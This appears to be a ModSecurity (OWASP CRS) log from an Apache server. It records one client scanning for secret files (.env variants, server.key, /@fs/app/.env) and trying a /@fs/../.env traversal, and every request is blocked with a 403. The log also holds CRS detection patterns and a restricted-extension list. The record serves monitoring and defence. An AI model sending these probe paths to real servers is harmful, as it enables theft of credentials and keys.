[Mon Oct 26 08:55:24.629285 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at9NvHtuNRyqJbUWH7JwRQAAAAQ"]
[Mon Oct 26 08:55:24.629535 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at9NvHtuNRyqJbUWH7JwRQAAAAQ"]
[Mon Oct 26 08:55:24.629833 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at9NvHtuNRyqJbUWH7JwRQAAAAQ"]
[Mon Oct 26 08:55:24.703984 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at9NvNznO4d1yCQgc5RBjAAAABY"]
[Mon Oct 26 08:55:24.704309 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at9NvNznO4d1yCQgc5RBjAAAABY"]
[Mon Oct 26 08:55:24.704612 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at9NvNznO4d1yCQgc5RBjAAAABY"]
[Mon Oct 26 08:55:24.705072 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at9NvHT09R7Np-FQ85dkJgAAAAo"]
[Mon Oct 26 08:55:24.705234 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at9NvHT09R7Np-FQ85dkJgAAAAo"]
[Mon Oct 26 08:55:24.705490 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at9NvHT09R7Np-FQ85dkJgAAAAo"]
[Mon Oct 26 08:55:24.840807 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dwAAAAM"]
[Mon Oct 26 08:55:24.841066 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dwAAAAM"]
[Mon Oct 26 08:55:24.841398 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.126.82.152:42246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at9NvJ_dbg3ptBnwDgQ5dwAAAAM"]
[Mon Oct 26 08:55:25.091572 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9NvZ2xsiaUtVQzFSUdIAAAAA8"]
[Mon Oct 26 08:55:25.091797 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9NvZ2xsiaUtVQzFSUdIAAAAA8"]
[Mon Oct 26 08:55:25.092208 2026] [security2:error] [pid 3032262:tid 3032262] [client 34.126.82.152:42324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at9NvZ2xsiaUtVQzFSUdIAAAAA8"]
[Mon Oct 26 08:55:25.093286 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9NvdznO4d1yCQgc5RBjQAAABY"]
[Mon Oct 26 08:55:25.093456 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9NvdznO4d1yCQgc5RBjQAAABY"]
[Mon Oct 26 08:55:25.093675 2026] [security2:error] [pid 3024455:tid 3024455] [client 34.126.82.152:42262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at9NvdznO4d1yCQgc5RBjQAAABY"]
[Mon Oct 26 08:55:25.094928 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at9NvXT09R7Np-FQ85dkJwAAAAo"]
[Mon Oct 26 08:55:25.095177 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at9NvXT09R7Np-FQ85dkJwAAAAo"]
[Mon Oct 26 08:55:25.095400 2026] [security2:error] [pid 3027735:tid 3027735] [client 34.126.82.152:42188] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at9NvXT09R7Np-FQ85dkJwAAAAo"]
[Mon Oct 26 08:55:25.098099 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at9NvXtuNRyqJbUWH7JwRgAAAAQ"]
[Mon Oct 26 08:55:25.098249 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at9NvXtuNRyqJbUWH7JwRgAAAAQ"]
[Mon Oct 26 08:55:25.098479 2026] [security2:error] [pid 3023736:tid 3023736] [client 34.126.82.152:42204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at9NvXtuNRyqJbUWH7JwRgAAAAQ"]
[Mon Oct 26 08:55:25.135520 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at9NvSmtoTVUWKg0WJJgYAAAABI"]
[Mon Oct 26 08:55:25.135764 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at9NvSmtoTVUWKg0WJJgYAAAABI"]
[Mon Oct 26 08:55:25.136147 2026] [security2:error] [pid 3032274:tid 3032274] [client 34.126.82.152:42290] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at9NvSmtoTVUWKg0WJJgYAAAABI"]
[Mon Oct 26 08:55:25.150603 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at9NvfBd5Bkm5JnOm1-01QAAABM"]
[Mon Oct 26 08:55:25.150857 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at9NvfBd5Bkm5JnOm1-01QAAABM"]
[Mon Oct 26 08:55:25.151239 2026] [security2:error] [pid 3034811:tid 3034811] [client 34.126.82.152:42312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at9NvfBd5Bkm5JnOm1-01QAAABM"]
[Mon Oct 26 08:55:25.167527 2026] [security2:error] [pid 3034812:tid 3034812] [client 34.126.82.152:42310] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9Nvd9H6KHQp8xa7jIM9QAAABQ"]
[Mon Oct 26 08:55:25.168131 2026] [security2:error] [pid 3034812:tid 3034812] [client 34.126.82.152:42310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9Nvd9H6KHQp8xa7jIM9QAAABQ"]
[Mon Oct 26 08:55:25.168474 2026] [security2:error] [pid 3034812:tid 3034812] [client 34.126.82.152:42310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at9Nvd9H6KHQp8xa7jIM9QAAABQ"]
[Mon Oct 26 08:55:25.173760 2026] [security2:error] [pid 3034809:tid 3034809] [client 34.126.82.152:42340] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbUWx3wyTwWzFk_-nwAAAAw"]
[Mon Oct 26 08:55:25.173878 2026] [security2:error] [pid 3034809:tid 3034809] [client 34.126.82.152:42340] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbUWx3wyTwWzFk_-nwAAAAw"]
[Mon Oct 26 08:55:25.174214 2026] [security2:error] [pid 3034809:tid 3034809] [client 34.126.82.152:42340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbUWx3wyTwWzFk_-nwAAAAw"]
[Mon Oct 26 08:55:25.174471 2026] [security2:error] [pid 3034809:tid 3034809] [client 34.126.82.152:42340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.hosp2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9NvbUWx3wyTwWzFk_-nwAAAAw"]
